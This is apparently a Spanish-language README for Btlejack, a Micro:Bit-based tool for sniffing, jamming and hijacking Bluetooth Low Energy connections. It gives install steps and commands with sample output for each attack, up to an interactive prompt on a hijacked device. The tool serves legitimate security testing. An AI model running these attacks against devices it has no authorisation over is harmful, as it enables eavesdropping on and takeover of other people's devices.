
Navaja suiza de Bluetooth Low Energy
BtleJack: una navaja suiza de Bluetooth Low Energy #####################################################
Btlejack proporciona todo lo que necesitas para esnifar, interferir y secuestrar dispositivos Bluetooth Low Energy. Se basa en uno o más dispositivos BBC Micro:Bit <http://microbit.org/>_ que ejecutan un firmware dedicado. También es posible que quieras usar un sniffer Bluefruit LE de Adafruit <https://www.adafruit.com/product/2269>_ o un Kit de evaluación nRF51822 <https://www.waveshare.com/wiki/BLE400>_, ya que hemos añadido soporte para estos dispositivos.
La versión actual de esta herramienta (2.0) es compatible con BLE 4.x y 5.x. El soporte para BLE 5.x es limitado, ya que solo admite el PHY sin codificar de 1 Mbps y no admite actualizaciones del mapa de canales.
Necesitas un sistema basado en UNIX (por ejemplo, una Raspberry Pi). Si usas el BBC Micro:Bit, necesitarás de uno a tres dispositivos Micro:Bit (se recomiendan tres dispositivos) y para cada dispositivo un puerto USB libre. El consumo de energía de un Micro:Bit es bastante bajo, por lo que puedes usar un solo puerto USB y un hub pasivo para alimentar las tres unidades recomendadas.
Si conectas 3 microbits al mismo tiempo en tu computadora, Btlejack podrá esnifar en todos los canales de publicidad y tendrá muchas más posibilidades de capturar la solicitud de conexión.
Primero, instala el software cliente de Python3 btlejack con Pip:
::
$ sudo pip3 install btlejack
Luego, conecta tu dispositivo Micro:Bit a tu computadora con un cable USB, monta el dispositivo de almacenamiento masivo asociado (el punto de montaje debe contener MICROBIT), y ejecuta el siguiente comando:
::
$ btlejack -i
Esto programará cada dispositivo Micro:Bit conectado a tu computadora y los dejará listos para usar con Btlejack. Usará la versión de firmware correcta para el software cliente actual, por lo que se recomienda encarecidamente realizar este procedimiento de instalación de firmware cada vez que actualices Btlejack.
Si estás usando un sniffer Bluefruit LE o un Kit de evaluación nRF51822, entonces usa un programador SWD externo para flashear tu dispositivo con este firmware <https://github.com/virtualabs/btlejack-firmware/raw/master/dist/btlejack-firmware-ble400.hex>_.
Mantén tus dispositivos conectados y ¡listo!
NOTA Esto solo funciona con sistemas compatibles con POSIX.
Usar Btlejack es bastante fácil. Btlejack puede:
Btlejack normalmente intenta autodetectar y usar dispositivos compatibles conectados (solo Micro:Bit por el momento), pero dado que el firmware puede ser hackeado o modificado para funcionar con otras placas basadas en nRF51822, proporciona una opción específica para permitir la compatibilidad con estos dispositivos.
La opción -d te permite especificar uno o más dispositivos con Btlejack. Ten en cuenta que esta opción deshabilitará la detección automática de dispositivos, y deberías agregar tantos dispositivos como necesites:
::
$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s
Primero, encuentra una conexión existente para atacar con btlejack:
::
$ btlejack -s BtleJack version 1.1
[i] Enumerating existing connections ... [ - 54 dBm] 0xcd91d517 | pkts: 1 [ - 46 dBm] 0xcd91d517 | pkts: 2
El primer valor (en dBm) muestra la potencia de la señal, cuanto mayor sea este valor, mejor será la conexión esnifada.
El segundo valor (hex) es la dirección de acceso asociada, un valor de 32 bits que identifica un enlace entre dos dispositivos compatibles con Bluetooth Low Energy.
El último valor es el número de paquetes vistos con esta dirección de acceso. Cuanto mayor sea este valor, más probable será que la dirección de acceso correspondiente esté en uso.
Luego, usa la opción -f para seguir una conexión específica:
::
$ btlejack -f 0xdda4845e BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0xdda4845e ... ✓ CRCInit: 0x2a035e ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 15 [i] Synchronized, packet capture in progress ... LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70 LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70
Si estás usando más de 1 microbit, Btlejack paralelizará algunas de las operaciones de esnifado para acelerar la recuperación de los parámetros de conexión.
La opción -c soportada por btlejack te permite especificar la dirección BD objetivo, o puedes usar any para capturar cualquier nueva conexión creada.
::
$ btlejack -c any BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: version 1.1 Sniffer #1: version 1.1 LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b [i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0 |-- Access Address: 0x0a2f7b1d |-- CRC Init value: 0x93f49a |-- Hop interval: 39 |-- Hop increment: 11 |-- Channel Map: 1fffffffff |-- Timeout: 20000 ms
LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 0b 06 0c 08 0f 00 09 41 LL Data: 03 06 0c 07 1d 00 d3 07
o también puedes especificar la dirección BD objetivo:
::
$ btlejack -c 03:e1:f0:00:11:22
Una vez que una conexión es identificada por su dirección de acceso, puedes interferirla usando la opción -j:
::
$ btlejack -f 0x129f3244 -j̀
Btlejack también puede secuestrar una conexión existente, usa la opción -t para hacerlo. Una vez secuestrada, Btlejack te dará un prompt que te permitirá interactuar con el dispositivo secuestrado.
Primero, secuestra una conexión existente:
::
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff BtleJack version 1.1
[i] Using cached parameters (created on 2018-08-11 01:48:24) [i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0x9c68fd30 ... ✓ CRCInit: 0x81f733 ✓ Channel map is provided: 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 9 [i] Synchronized, hijacking in progress ... [i] Connection successfully hijacked, it is all yours \o/ btlejack>
Luego usa los siguientes comandos para interactuar con el dispositivo:
Comando discover ^^^^^^^^^^^^^^^^^^
El comando discover enviará y recibirá paquetes Bluetooth LE y recuperará todos los UUID de servicios y parámetros, así como los UUID de características y parámetros:
::
btlejack> discover start: 0001 end: 0005 start: 0014 end: 001a start: 0028 end: ffff Discovered services: Service UUID: 1801 Characteristic UUID: 2a05 | handle: 0002 | properties: indicate (20) \ value handle: 0003
Service UUID: 1800 Characteristic UUID: 2a04 | handle: 0019 | properties: read (02) \ value handle: 001a
Characteristic UUID: 2a00 | handle: 0015 | properties: read (02) \ value handle: 0016